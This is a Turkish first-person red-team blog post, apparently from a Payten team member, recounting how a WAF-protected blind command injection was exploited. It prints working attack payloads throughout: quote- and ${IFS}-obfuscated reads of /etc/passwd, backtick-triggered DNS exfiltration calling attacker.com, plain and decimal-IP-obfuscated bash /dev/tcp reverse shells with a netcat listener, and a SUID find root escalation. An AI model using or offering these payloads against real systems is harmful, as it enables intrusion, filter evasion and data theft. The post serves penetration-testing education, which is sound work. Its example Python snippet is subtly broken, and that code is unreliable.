Ekranın sağ alt köşesindeki saat 03:12’yi gösteriyordu ve terminalimdeki o lanet olası '403 Forbidden' hatası adeta benimle dalga geçiyordu. Kahve soğumuş, gözlerimdeki damarlar "yeter artık" diye isyan bayrağını çekmişti. Karşımızdaki yapı sıradan bir web uygulaması değildi; arkasında katman katman WAF (Web Application Firewall) kuralları, önünde ise her hareketi izleyen bir IDS/IPS mekanizması vardı. Red Team operasyonunun en kritik aşamasındaydık: İçeriye bir kere adım atmışız ama yetkilerimiz kısıtlı, asıl hedef olan veritabanı sunucusuna giden yol ise 'hardened' bir API geçidinden geçiyordu.
Standard pentest araçlarını çalıştırdığım an "ban" yiyeceğimi biliyordum. Nmap'in o gürültülü taraması ya da Burp Suite Intruder'ın saniyede yüzlerce request gönderen kaba kuvveti burada işe yaramazdı. Burada cerrah titizliği gerekiyordu.
Bir 'Blind Command Injection' noktası yakalamıştım ama ne yazık ki klasik ;, |, & gibi karakterlerin hepsi WAF tarafından süzülüyordu. Uygulama, kullanıcıdan aldığı bir dosya adını arka planda bir shell script'ine parametre olarak gönderiyordu. Tipik bir hata, ama koruma katmanı yüzünden sömürmesi tam bir işkenceye dönüşmüştü.
Filtreleri Aşmak: Dans Başlıyor
Normalde herkesin deneyeceği ilk şey şudur:
image.jpg; cat /etc/passwd
Ama sistem bunu anında blokluyordu. cat kelimesi yasaklı, /etc/passwd deseni kara listedeydi. Boşluk (space) karakteri bile sanitize ediliyordu. İşte o an, Red Team refleksleri devreye giriyor. Eğer boşluk kullanamıyorsam, Bash'in nimetlerinden olan ${IFS} (Internal Field Separator) imdadıma yetişmeliydi. Eğer cat yasaksa, tac (dosyayı ters okuyan komut) ya da more denenebilirdi. Ama daha iyisi vardı: c'a't. Bash, tırnak işaretlerini string birleştirme olarak görür ama statik analiz yapan WAF'lar genellikle bu 'obfuscation' yöntemini kaçırır.
Payload'u şu hale getirdim:
image.jpg${IFS}c'a't${IFS}/et'c'/pas's'wd
Yine 403. Sinir bozucu değil mi? Demek ki sadece komut bazlı değil, karakter bazlı bir engelleme de vardı. $, {, } karakterleri de filtreleniyordu. O zaman başka bir yol bulmalıydık. Hex kodlaması mı? Base64 mü? Hayır, uygulama inputu URL-decode edip öyle işliyordu.
OOB (Out-of-Band) Exfiltration: Karanlıkta Yol Bulmak
Verinin bana dönmesine gerek yoktu. Eğer komutu çalıştırabiliyorsam, veriyi dışarıya ben çıkarabilirdim. DNS protokolü, bu tür durumlarda bizim en sadık dostumuzdur. Çünkü çoğu firewall, içten dışa giden DNS sorgularını (53. port) engellemez.
Kendi kontrolümdeki bir sunucuya DNS sorgusu attırarak veriyi 'subdomain' üzerinden sızdırmayı planladım. Ama hala komut enjeksiyonu için bir 'trigger' karakterine ihtiyacım vardı. Yeniden denedim. Bu sefer backtick (`) karakterini test ettim. Bingo! Uygulama backtick karakterini filtrelemiyordu çünkü muhtemelen geliştirici bunu bir "tehdit" olarak görmemişti.
Hemen bir Python script'i ile payload'u hazırlamaya başladım. Amacım, /etc/hostname içeriğini alıp, bunu DNS sorgusu olarak kendi sunucuma göndermekti.
import binascii
# Sızdırmak istediğim komut (Basit tutalım)
command = "hostname"
# Payload: DNS üzerinden veri sızdırma
# `curl `hostname`.atacker-dns.com` gibi bir mantık
payload = f"`curl`hostname`.your-collaborator-link.com`"
print(f"Hazırlanan Payload: {payload}")
Gerçek senaryoda bu payload'u şu şekilde modifiye ettim:
`ping${IFS}-c${IFS}1${IFS}`whoami`.attacker.com`
Bu komut çalıştığında, hedef sunucu root.attacker.com adresine bir ping atmaya çalışacaktı. Ben de kendi sunucumun DNS loglarında root kelimesini gördüğüm an, içeride kim olduğumu anlayacaktım.
Logları izlemeye başladım. tail -f /var/log/named/query.log.
Ve o an... Ekranımda belirdi:
12:44:05.123 client 1.2.3.4: query: www-data.lab.internal.local IN A +
İçerideydim. www-data kullanıcısı olarak kısıtlı da olsa bir komut çalıştırabiliyordum. Ama bu yetmezdi. Red Teamer doymaz, daha fazlasını ister.
Manuel Payload Crafting ve Bypass Sanatı
Sadece DNS sorgusu atmak yetmez, dosyaları okumam gerekiyordu. Ama boşluk yok, özel karakterlerin çoğu yasak. O zaman Bash'in "Brace Expansion" ve "Wildcard" özelliklerini kullanma vakti gelmişti.
Bir dosyayı okumak için şu yöntemi denedim:
{cat,/etc/passwd}
Eğer bu da yemezse (ki yemedi), Linux dünyasının gizli kahramanlarından /dev/tcp ile reverse shell denemesi yapacaktım. Fakat WAF, IP adreslerini de blokluyordu. IP adresini decimal (ondalık) formatına çevirerek bu engeli de aşabilirdiniz. Örneğin 127.0.0.1 yerine 2130706433 yazmak gibi.
# Klasik Reverse Shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# WAF Dostu / Obfuscated Reverse Shell (Decimal IP ve IFS kullanarak)
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/167772161/4444${IFS}0>&1
Bu payload'u gönderdiğimde kalbim yerinden çıkacak gibiydi. Terminalde nc -lvnp 4444 komutuyla bekliyordum. Saniyeler geçmek bilmiyordu. Ve beklenen o satır:
connect to [my-ip] from (UNKNOWN) [target-ip] 58234
Artık "Blind" değildim. Karşımda tıkır tıkır işleyen bir shell vardı.
Araçlara Değil, Mantığa Güven
Çoğu arkadaşımız sızma testlerinde (pentest) araçlara çok fazla bel bağlıyor. "Nmap taradı, Nessus bulamadı, o zaman sistem güvenli." Hayır dostum, sistem güvenli falan değil. Sen sadece otomatize araçların yazdığı 'signature' (imza) havuzuna takıldın o kadar.
Pentest bir "check-list" tamamlama işi değildir; pentest, hedef sistemin geliştiricisiyle uzaktan satranç oynamaktır. O bir kural yazar, sen o kuralın etrafından dolanırsın. O bir kapıyı kilitler, sen açık pencereyi bulursun. Pencere de mi kapalı? O zaman bacadan girmeyi denersin.
İşte tam bu noktada, Red Team bakış açısı devreye giriyor. Bizim işimiz sadece bir "açık" bulmak değil, o açığı kullanarak kurumun iş süreçlerini nasıl felç edebileceğimizi veya veriyi sessizce nasıl dışarı çıkarabileceğimizi göstermek.
Payten Red Team Ofisinden Bir Not
Biz burada, Payten bünyesinde sistemleri test ederken kendimize hep şunu soruyoruz: "Gerçek bir saldırgan olsaydım, şu an ne yapardım?"
Gerçek bir saldırganın acelesi yoktur. Haftalarca izleme yapar. Payload'unu günlerce optimize eder. Tek bir request ile işi bitirmeye odaklanır. Bu yüzden yaptığımız testlerde araçların arkasına saklanmak yerine, protokollerin dibine iniyoruz. HTTP/2 'request smuggling'den tutun da, karmaşık JWT (JSON Web Token) manipülasyonlarına kadar her şeyi elle (manual) kurcalıyoruz.
Sonrası ve Öğrenilenler
O geceki operasyonda aldığım shell üzerinden sistemde 'Privilege Escalation' (yetki yükseltme) yaparak root olmayı başardım. Sebebi neydi biliyor musunuz? Çok karmaşık bir exploit falan değil. Sadece sistemde unutulmuş, suid bit'i set edilmiş bir find komutu.
find . -exec /bin/sh -p \; -quit
Bitti. Root'um.
Olayın teknik boyutu bir yana, bu süreçte çıkardığım en büyük ders şu oldu: En pahalı WAF bile, yanlış yapılandırılmış tek bir komutun ya da yaratıcı bir payload'un karşısında çaresiz kalabilir.
Eğer bu işe yeni başlıyorsanız veya kendinizi geliştirmek istiyorsanız, size tavsiyem araçların 'help' menülerinden çıkıp Linux kernel'ı, network protokollerini ve web dillerinin (PHP, Python, JS) arka planda nasıl çalıştığını öğrenmenizdir. Payload yazmak bir sanattır ve her sanatçı gibi sizin de fırçanız (kodunuz) ve tuvaliniz (terminaliniz) ile aranızda bir bağ olmalı.
Hadi şimdi o terminalin başına geçin ve "bu sisteme girilemez" denilen yerlerde yeni yollar aramaya başlayın. Unutmayın, hiçbir sistem tamamen güvenli değildir; sadece henüz yeterince kurcalanmamıştır.
Bir sonraki operasyonun teknik detaylarında görüşmek üzere. O zamana kadar, 'Happy Hacking!'
